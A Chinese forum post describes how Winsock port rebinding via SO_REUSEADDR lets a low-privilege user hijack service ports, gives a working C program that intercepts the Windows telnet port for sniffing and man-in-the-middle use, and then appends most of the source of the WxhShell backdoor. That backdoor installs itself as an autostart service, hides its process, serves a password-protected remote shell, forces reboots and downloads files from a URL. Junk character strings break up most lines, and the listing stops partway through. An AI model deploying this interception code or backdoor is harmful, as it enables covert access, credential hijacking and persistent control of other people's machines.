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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^/~ZP?%]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HOaNhJ{7D  
J tvZ~s  
  saddr.sin_family = AF_INET; #7Fdmnu`  
6b2Z}B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |`|#-xu  
%?`O .W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q@Aw]Kh  
6,;dU-A+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `.z"Q%uz  
!n7'TM '  
  这意味着什么?意味着可以进行如下的攻击: CZ 33|w  
"hmLe(jo}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '@/1e\-y  
-1{f(/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;A6%YY  
,xw1B-dx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Tbp;xv_qo  
f@@7?5fW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l"zA~W/  
<Hf3AB;#4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G{.[o6>  
Ct][B{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jj&mRF0gCb  
f\;w(_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z=9<esx  
R-Ys<;  
  #include J@o_-\@  
  #include \ 5.nr*5  
  #include )n6,uTlOw  
  #include    u`CHM:<<?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (#?O3z1@"  
  int main() 7qSnP 30}  
  { ;E_Go&Vd  
  WORD wVersionRequested; " Tk,  
  DWORD ret; 9^u}~e #(  
  WSADATA wsaData;  J8-K  
  BOOL val; 7W'&v+\  
  SOCKADDR_IN saddr; Ze!/b|`xI  
  SOCKADDR_IN scaddr; O _ C<h  
  int err; ,\?s=D{  
  SOCKET s; -5oYGLS$y3  
  SOCKET sc; c,^W/:CQAB  
  int caddsize; fig~z=m  
  HANDLE mt; CNe(]HIOH  
  DWORD tid;   kQ]4Bo  
  wVersionRequested = MAKEWORD( 2, 2 ); 0&u=(;Dr\  
  err = WSAStartup( wVersionRequested, &wsaData ); bY-koJo  
  if ( err != 0 ) { d"yJ0F  
  printf("error!WSAStartup failed!\n"); Yy~xNj5OS  
  return -1; ?W_8 X2(`  
  } S{RRlR6Z  
  saddr.sin_family = AF_INET; ,.kmUd  
   -^)<FY\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <&^[?FdAa  
Im?/#tX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  aGOS 9  
  saddr.sin_port = htons(23); PR/>E60H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R4X9g\KpAt  
  { /d+v4GIB  
  printf("error!socket failed!\n"); sib/~j  
  return -1; {qGXv@ I6  
  } Q;N)$Xx  
  val = TRUE; : t9sAD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h<V,0sZ&:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o|u4C{j  
  { G1-r$7\  
  printf("error!setsockopt failed!\n"); IL:[0q  
  return -1; @~Ys*]4UE  
  } a~ RY 8s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JMk2OK {0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8[.&ca/[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dt@~8kS  
2ql)]Skg6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cuC' o\f  
  { );T&pm:C>  
  ret=GetLastError(); TMD\=8Na  
  printf("error!bind failed!\n"); ,RDWx  
  return -1; n=)LB& m  
  } S|xwYaoy%  
  listen(s,2); pP#D*hiP-g  
  while(1) /Xj{]i3{  
  { k( Ik+=u  
  caddsize = sizeof(scaddr); dWi< U4  
  //接受连接请求 *o5[P\'6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QW'*^^  
  if(sc!=INVALID_SOCKET) $}IG+ ,L  
  { 2 FoLJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  _X  
  if(mt==NULL) .Tm.M7  
  { rg ; 4INs#  
  printf("Thread Creat Failed!\n"); }Ml BmD  
  break; E=8GSl/Jx  
  } %y\5L#T!>  
  } [MQ* =*  
  CloseHandle(mt); AFM+`{Cq  
  } "uP*pR^  
  closesocket(s); -[J4nN&N  
  WSACleanup(); >Tjl?CS  
  return 0; mZXtHFMu  
  }   </Y(4Xwf=  
  DWORD WINAPI ClientThread(LPVOID lpParam) urE7ZKdI  
  { H5#]MOAP  
  SOCKET ss = (SOCKET)lpParam; t*; KxQ+'?  
  SOCKET sc; am !ssF5s  
  unsigned char buf[4096]; 2D:,(  
  SOCKADDR_IN saddr; daP_Kz/2K  
  long num; 7x77s  
  DWORD val; P3YM4&6XA  
  DWORD ret; S>b 3_D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |QF_E4ISD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z"'*A\r2  
  saddr.sin_family = AF_INET; }A]e C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R!%HQA1U  
  saddr.sin_port = htons(23); ~ o2Z5,H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *iY:R  
  { XZ{rKf2  
  printf("error!socket failed!\n"); WO{7/h</  
  return -1; mR|5$1[b  
  } 4!OGNr$V@  
  val = 100; YM#MfL#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wfe4b  
  { w N`Nj m9!  
  ret = GetLastError(); ~\2%h lA  
  return -1; r~JGs?GH  
  } )t3`O$J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vE8BB$D  
  { %~k>$(u6  
  ret = GetLastError(); tl{{Vc[  
  return -1; 1=5HQ~|[TO  
  } Z9NND  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) si)>:e  
  { Nd"IW${Kg  
  printf("error!socket connect failed!\n"); *!TQC6b$  
  closesocket(sc); h_ccE 6]t  
  closesocket(ss); A`JE(cIz3  
  return -1; R2?s NlF  
  } )iiaT~ ]  
  while(1) I^( pZ9  
  { x:4R?!M.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l5=ih9u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wkPjMmW+!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ItvcN  
  num = recv(ss,buf,4096,0); yH]Q;X '  
  if(num>0) K!qOO  
  send(sc,buf,num,0); UCjx   
  else if(num==0) JIw?]xa*  
  break; iLJ@oM;2  
  num = recv(sc,buf,4096,0); yGNpx3H  
  if(num>0) ^n<YO=|u  
  send(ss,buf,num,0); rNJU & .]  
  else if(num==0) o~e_M-  
  break; ]T|$nwQ  
  } ;-JFb$m  
  closesocket(ss); !ht2*8$lQ  
  closesocket(sc); E:M,nSc)53  
  return 0 ; 4eB oR%2o  
  } 6it [i@*"  
YmFg#eS  
t:V._@  
========================================================== g 8uq6U  
iZiT/#,H2  
下边附上一个代码,,WXhSHELL EI*~VFx  
[zm@hxym  
========================================================== ~]RfOpq^w  
uF|_6~g  
#include "stdafx.h" i/n ee_  
DBsoa0w  
#include <stdio.h> ZO/Jf Jn~  
#include <string.h> ,SNrcwv  
#include <windows.h> Ipq0 1 +  
#include <winsock2.h> )`{m |\b  
#include <winsvc.h> X<.l(9$  
#include <urlmon.h> $0K@= 7ms  
%XeN_ V  
#pragma comment (lib, "Ws2_32.lib") <uS/8MP{  
#pragma comment (lib, "urlmon.lib") 3Mm_xYDud  
0SWqC@AR%  
#define MAX_USER   100 // 最大客户端连接数 W|Sab$h  
#define BUF_SOCK   200 // sock buffer Iox)-  
#define KEY_BUFF   255 // 输入 buffer 2Sa{=x N)  
vdvnwzp!l  
#define REBOOT     0   // 重启 Kr'?h'F  
#define SHUTDOWN   1   // 关机 l1lYb;C  
; U7P{e05  
#define DEF_PORT   5000 // 监听端口 Cw(ypu  
D@9 +yu=S  
#define REG_LEN     16   // 注册表键长度 &+@`Si=  
#define SVC_LEN     80   // NT服务名长度 D iOd!8Y  
H[nBNz)C  
// 从dll定义API z9OpMA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %z1^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !ry+{v+A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p&V64L:V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s@"|o3BX  
\b $pH  
// wxhshell配置信息 Ssz;d&93  
struct WSCFG { %L]sQq,  
  int ws_port;         // 监听端口 YaSBIq{z  
  char ws_passstr[REG_LEN]; // 口令 ~+0IFJ`}  
  int ws_autoins;       // 安装标记, 1=yes 0=no #_S]\=N(  
  char ws_regname[REG_LEN]; // 注册表键名 2[3t7C  
  char ws_svcname[REG_LEN]; // 服务名  QtG6v<A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ps:`rVQ7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 13Z,;YW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _*?qOmf=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O9d"Z$~n=j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <`=Kt[_BQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VVAcbAGJ  
N9#xTX  
}; BF2U$-k4  
l4+ `x[^  
// default Wxhshell configuration e21J9e6z   
struct WSCFG wscfg={DEF_PORT, R= mT J'y  
    "xuhuanlingzhe", ^o _J0 ]m  
    1, $.$nv~f  
    "Wxhshell", 5EVypw?]x  
    "Wxhshell", hZ>m:es  
            "WxhShell Service", :Ch XzZ  
    "Wrsky Windows CmdShell Service", a}f /<-L  
    "Please Input Your Password: ", 7?uDh'utt  
  1, ]g;+7  
  "http://www.wrsky.com/wxhshell.exe", =oh%-Sh:  
  "Wxhshell.exe" XKZsX1=@R  
    }; ,q#SAZ/N  
s#aj5_G  
// 消息定义模块 ~' 955fK>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =`|BofR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bcy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D6?h 6`J  
char *msg_ws_ext="\n\rExit."; E:/!]sm!  
char *msg_ws_end="\n\rQuit."; k*6"!J%A  
char *msg_ws_boot="\n\rReboot..."; WvJ:yUb2  
char *msg_ws_poff="\n\rShutdown..."; b:~#;$g  
char *msg_ws_down="\n\rSave to "; v9r.w-  
:;hg :Q:  
char *msg_ws_err="\n\rErr!"; e~(e&4pb  
char *msg_ws_ok="\n\rOK!"; !idVF!xG  
:7.k E  
char ExeFile[MAX_PATH]; D=3Z] 'A  
int nUser = 0; z7:* ,X  
HANDLE handles[MAX_USER]; @J 5TDq @  
int OsIsNt; tw<Oy^ i  
ak_y:O|  
SERVICE_STATUS       serviceStatus; O%>*=h`P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s:xJ }Ll  
6S n&; ap  
// 函数声明 Z?=o(hkd  
int Install(void); f'5 6IT  
int Uninstall(void); nt()UC`5  
int DownloadFile(char *sURL, SOCKET wsh); W<#!He  
int Boot(int flag); <XDnAv0t  
void HideProc(void); :NWIUN  
int GetOsVer(void); gfIS  
int Wxhshell(SOCKET wsl); Z&iW1  
void TalkWithClient(void *cs); YuVlD/  
int CmdShell(SOCKET sock); ;8&/JSN M  
int StartFromService(void); wzxV)1jT  
int StartWxhshell(LPSTR lpCmdLine); P/[RH e  
`@1e{ ?$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T+B-R\@t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qyVARy  
u1UCe  
// 数据结构和表定义 1QD49)  
SERVICE_TABLE_ENTRY DispatchTable[] = 6XZjZ*)W  
{ HbB8A#u  
{wscfg.ws_svcname, NTServiceMain}, ]u-bJ  
{NULL, NULL} AD`5:G  
}; H? z~V-8  
2BF455e   
// 自我安装 O:rf DO  
int Install(void) {j`8XWLZZN  
{ WFk%nO/  
  char svExeFile[MAX_PATH]; 2!W[ff@~7  
  HKEY key; :tnW ivrwR  
  strcpy(svExeFile,ExeFile); /8l@n dZf  
ST[TKL<]  
// 如果是win9x系统,修改注册表设为自启动 <Rn-B).3bs  
if(!OsIsNt) { V0 Z8VqV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (j@c946z""  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1fIx@  
  RegCloseKey(key); O9?.J,,mVh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )hQ]>o@i{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e&T-GL  
  RegCloseKey(key); 3ww\Z8UeK  
  return 0; P/WGB~NH  
    } @uV]7d"z(  
  } M1NdlAAf  
} D~i5E9s5  
else { !Z\Gv1  
C%E~9_w  
// 如果是NT以上系统,安装为系统服务 J| wk})?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W(Sni[c{  
if (schSCManager!=0) wM7 Iu86  
{ XMZ$AeF@  
  SC_HANDLE schService = CreateService iQ2}*:Jc$  
  ( RkF^V(  
  schSCManager, J[Mj8ee#  
  wscfg.ws_svcname, .nVY" C&  
  wscfg.ws_svcdisp, C|IHRw`[  
  SERVICE_ALL_ACCESS, 2TB'HNTFx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |"%OI~^%  
  SERVICE_AUTO_START, >iK LC  
  SERVICE_ERROR_NORMAL, (Ly^+Hjg  
  svExeFile, n=~!x  
  NULL, <{;'0> ToM  
  NULL, )jUPMIo  
  NULL, [ypE[   
  NULL, *$R9'Yo}F  
  NULL -^`s#0( y^  
  ); _](y<O^9yO  
  if (schService!=0) >vXJ9\  
  { [) >Yp-n  
  CloseServiceHandle(schService); C}3a  ^j  
  CloseServiceHandle(schSCManager); OMo/a%`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |k]]dP|:'  
  strcat(svExeFile,wscfg.ws_svcname); ) ] Ro  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h~qvd--p0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (7! pc  
  RegCloseKey(key); HfH_jnR*  
  return 0; 9SA%'  
    } %rrD+  
  } OIw[sum2  
  CloseServiceHandle(schSCManager); bw/mF5AsW  
} BKI-Dh  
} a[j]fv*6  
zx:;0Z:S6>  
return 1; 6+ptL-Zt<  
} IaRwPDj6  
F|!=]A<  
// 自我卸载 9mXmghoCO  
int Uninstall(void) &#u\@Qze  
{ ALO/{:l(  
  HKEY key; ^jS1g*nrN  
u^^jt(j  
if(!OsIsNt) { Dt7z<1-)l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lh-Y5(c o  
  RegDeleteValue(key,wscfg.ws_regname); SCMvq?9  
  RegCloseKey(key); ]lyQ*gM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) d'H&c3  
  RegDeleteValue(key,wscfg.ws_regname); 6?.S-.Mr  
  RegCloseKey(key); 6nsb)7a  
  return 0; 0i8\Lu6  
  } 4 )}>dxv  
} l]t^MEoc8  
} C{t}q*fG 5  
else { M3!;u%~} s  
G[>CBh5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (yuOY/~k/  
if (schSCManager!=0) |cuKC \  
{ @~7au9.V=X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =2rdbq6R  
  if (schService!=0) ! ,H6.IH;S  
  { 1\/vS$bi(  
  if(DeleteService(schService)!=0) { $ Fc}K+  
  CloseServiceHandle(schService); >Q"3dw  
  CloseServiceHandle(schSCManager); wfu`(4  
  return 0; =I&BO[d  
  } g%^/^<ei  
  CloseServiceHandle(schService); _*sd#  
  } ,SdxIhL  
  CloseServiceHandle(schSCManager); *'M+oi  
} v&9:Wd*Iz'  
} Z RwN#?x  
x+%> 2qgj"  
return 1; NaQ~iY?  
} OaoHN& "  
\f Kn} ]kG  
// 从指定url下载文件 ei1;@k/  
int DownloadFile(char *sURL, SOCKET wsh) b"td]H3h  
{ pV:44  
  HRESULT hr; fh1-]$z`~  
char seps[]= "/"; %Y#W#G  
char *token; q`z1ht nf  
char *file; fU%Mz\t  
char myURL[MAX_PATH]; N;}X$b5Y @  
char myFILE[MAX_PATH]; &io+*  
 '@.Lg0`  
strcpy(myURL,sURL); Y![ i=/  
  token=strtok(myURL,seps); N 5{w  
  while(token!=NULL) \>.[QQVI"l  
  { V5 9Vf[i|  
    file=token; `s=Z{bw  
  token=strtok(NULL,seps); MX!N?k#KhP  
  } ;<0~^,Xm  
"9*MSsU  
GetCurrentDirectory(MAX_PATH,myFILE); `W1TqA  
strcat(myFILE, "\\"); c;yp}k]\  
strcat(myFILE, file); $ 6r> Tc](  
  send(wsh,myFILE,strlen(myFILE),0); +yk0ez  
send(wsh,"...",3,0); e&[~}f?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w_QWTD 0  
  if(hr==S_OK) !VudZ]Sg  
return 0; Aq'~'hS`1  
else kxAT  
return 1; U =g&c `  
0d~?|Nv -  
} e!C,<W&B\  
*U8,Q]gS  
// 系统电源模块 wA,-!m  
int Boot(int flag) &g*1If  
{ @l_rB~  
  HANDLE hToken; c5Kc iTD^  
  TOKEN_PRIVILEGES tkp; w'xPKO$bzR  
JH2-'  
  if(OsIsNt) { ]D2 d=\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fv* $=m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p>T  
    tkp.PrivilegeCount = 1; |x _jpR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q!5`9u6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @K#}nKN'  
if(flag==REBOOT) { 6*|EB|%n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ose)\rM'  
  return 0; w#L`|cYCm  
} L1@<7?@X  
else { o9]!*Y!RA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j/ARTaO1]"  
  return 0; ~@}n}aV'!  
} @qA11C.hq  
  } pVjOp~=U  
  else { pd.pY*B<[  
if(flag==REBOOT) { tgeXX1Eq!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {irl}EeyC  
  return 0; bi-z%!Z  
} 2G:KaQ)  
else { KYg'=({x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kj4L PG  
  return 0; Yfz`or\@=  
} ^8?px&B y:  
} (ze9-!%  
K)n058PO  
return 1; Ogh,  
} \K Kt& bKL  
^O"o-3dte  
// win9x进程隐藏模块 v//Drj  
void HideProc(void) `'bu8JK  
{ 1u }2}c|  
{HVsRpNEf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |F ~U  
  if ( hKernel != NULL ) "p>kiNu  
  { Te^_gdf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b'`C<Rk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8ux  
    FreeLibrary(hKernel); rZ RTQ  
  } 7 3ABop  
m^tf=O<  
return; %~lTQCPE  
} 2 jxh7\zE  
jnFN{(VH  
// 获取操作系统版本 (~PT(B?  
int GetOsVer(void) mMK 93Ng"&  
{ VZk;{  
  OSVERSIONINFO winfo; pWoeF=+y]W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JY D\VaW  
  GetVersionEx(&winfo); ZRa~miKyM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GgvMd~  
  return 1; _znn`_N:v  
  else i$!K{H1{9  
  return 0; U[ogtfv`m  
} qvJQbo[.9P  
WBD"d<>'  
// 客户端句柄模块 >IZ$ .-  
int Wxhshell(SOCKET wsl) `n`HwDo;i  
{ ,!^;<UR:  
  SOCKET wsh; -e+im(2D=  
  struct sockaddr_in client; ZYTBc#f  
  DWORD myID; 3#`Sk`z<  
Te>m9Pav  
  while(nUser<MAX_USER) sA,2gbW  
{ PiNf;b^9  
  int nSize=sizeof(client); =cx_3gCr{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?y~"\iP  
  if(wsh==INVALID_SOCKET) return 1; `;s#/`c|/  
o4B%TW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CL!s #w1I\  
if(handles[nUser]==0) 0y;1D k!  
  closesocket(wsh); S\2@~*{-8  
else z&.F YGq}  
  nUser++; *OY Nx4k  
  } ]L\]Ll;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #BI Z|  
>H]|R }h  
  return 0; z) "(&__  
} )u=a+T  
mr XmM<  
// 关闭 socket i%r+/D)KvG  
void CloseIt(SOCKET wsh) Z4T{CwD`D  
{ L5]uT`Twa  
closesocket(wsh); qI2&a$Zb$  
nUser--; WG5)-;>q|  
ExitThread(0); .DhB4v&  
} Xc G   
R)]+>M-.  
// 客户端请求句柄 e1R<+`]  
void TalkWithClient(void *cs) {"*gX&;~  
{ o-<.8Z}>at  
:CXm@yF~4=  
  SOCKET wsh=(SOCKET)cs; f(c#1AJE53  
  char pwd[SVC_LEN]; mqQC`Aqx:  
  char cmd[KEY_BUFF]; @dhnpR :L  
char chr[1]; N >];xb>  
int i,j; qoC<qn{.a  
,mE}#cyY  
  while (nUser < MAX_USER) { 6dqI{T-i?  
FMqes5\ 3  
if(wscfg.ws_passstr) { jh~E!%d77  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7hKfxw-X@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AK$i0Rn;pm  
  //ZeroMemory(pwd,KEY_BUFF); }Y3*X: i7  
      i=0; JuR x>F4  
  while(i<SVC_LEN) { `t]8 [P5  
AZbFj-^4  
  // 设置超时 %07vH&<C.  
  fd_set FdRead; E qt\It9  
  struct timeval TimeOut; 3s,a%GOk  
  FD_ZERO(&FdRead); Q\*zF,ek  
  FD_SET(wsh,&FdRead); " 8g\UR"[  
  TimeOut.tv_sec=8; ] N7(<EV/  
  TimeOut.tv_usec=0; eeOG(@@o(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %VO>6iVn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9G{#a#Z.  
'.t{\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FN D+Ok&  
  pwd=chr[0]; 5Ln !>,  
  if(chr[0]==0xd || chr[0]==0xa) { )JA^FQ5N  
  pwd=0; xbZR/!?  
  break; T2ZN=)xZ1  
  } a)rT3gl  
  i++; 7vB6IF  
    } vF'Y; M  
D'"l%p  
  // 如果是非法用户,关闭 socket ~PedR=Y0n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i$XT Qr0K=  
} u 236a\:  
3^Z@fC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R"O,2+@<.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '6f)^DYA'?  
Zy^ wS1io  
while(1) { q.d qr<  
OCWyp  
  ZeroMemory(cmd,KEY_BUFF); d'e\tO  
)3)fq:[  
      // 自动支持客户端 telnet标准   9_J'P2e  
  j=0; E.^F:$2  
  while(j<KEY_BUFF) { *XluVochrb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NV;T*I8O  
  cmd[j]=chr[0]; A=BT2j'l)  
  if(chr[0]==0xa || chr[0]==0xd) { $`"$ZI6[  
  cmd[j]=0; 8:"s3xaO3  
  break; md /NMC \  
  } x UTlM  
  j++; r<_qU3Eaj  
    } C9nCSbGMY{  
y:R+;91  
  // 下载文件 =nG>aAG  
  if(strstr(cmd,"http://")) { 7Q # A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k, jcLX.  
  if(DownloadFile(cmd,wsh)) xnC5WF7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'OsRQ)E  
  else '2ACZcjDSv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JYa3xeC;  
  } jUrUM.CJ\N  
  else { p1 mY!&e(  
p)*x7~3e  
    switch(cmd[0]) { OT}P0 ~4s  
  y6gaoj  
  // 帮助 z /f0 .RJ  
  case '?': { L [X "N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kC/An@J^#  
    break; RtF!(gd  
  } wo\O 0?d3{  
  // 安装 Xrzpn&Y=#  
  case 'i': { d(9C7GLC,  
    if(Install()) z KNac[:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); He}"e&K  
    else h%Uq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (T =u_oe  
    break; dRXrI  
    } LCok4N$o  
  // 卸载 D #C\| E:  
  case 'r': { c) _u^Dh  
    if(Uninstall()) Twpk@2=l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '$q3Ze  
    else q 7hoI]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uUh6/=y  
    break; So}pA2[0  
    } $~'G<YYF4  
  // 显示 wxhshell 所在路径 Ej$oRo{ IG  
  case 'p': { Nq[-.}Z6  
    char svExeFile[MAX_PATH]; @{@)gE  
    strcpy(svExeFile,"\n\r"); cs)R8vuB)z  
      strcat(svExeFile,ExeFile); {R7m qzt  
        send(wsh,svExeFile,strlen(svExeFile),0); 921s'"  
    break; :qtg`zM/4  
    } fs8C ^Ik>~  
  // 重启 "VA'W/yv!  
  case 'b': { Q@cYHFi~+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ho}G]y  
    if(Boot(REBOOT)) [.nkNda5)v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mN'sJ1L-  
    else { 8j8~?=$a6Q  
    closesocket(wsh); )C $1))  
    ExitThread(0); MO *7:hI  
    } @g1T??h   
    break; kf_*=ER  
    } 'F7UnkKO|  
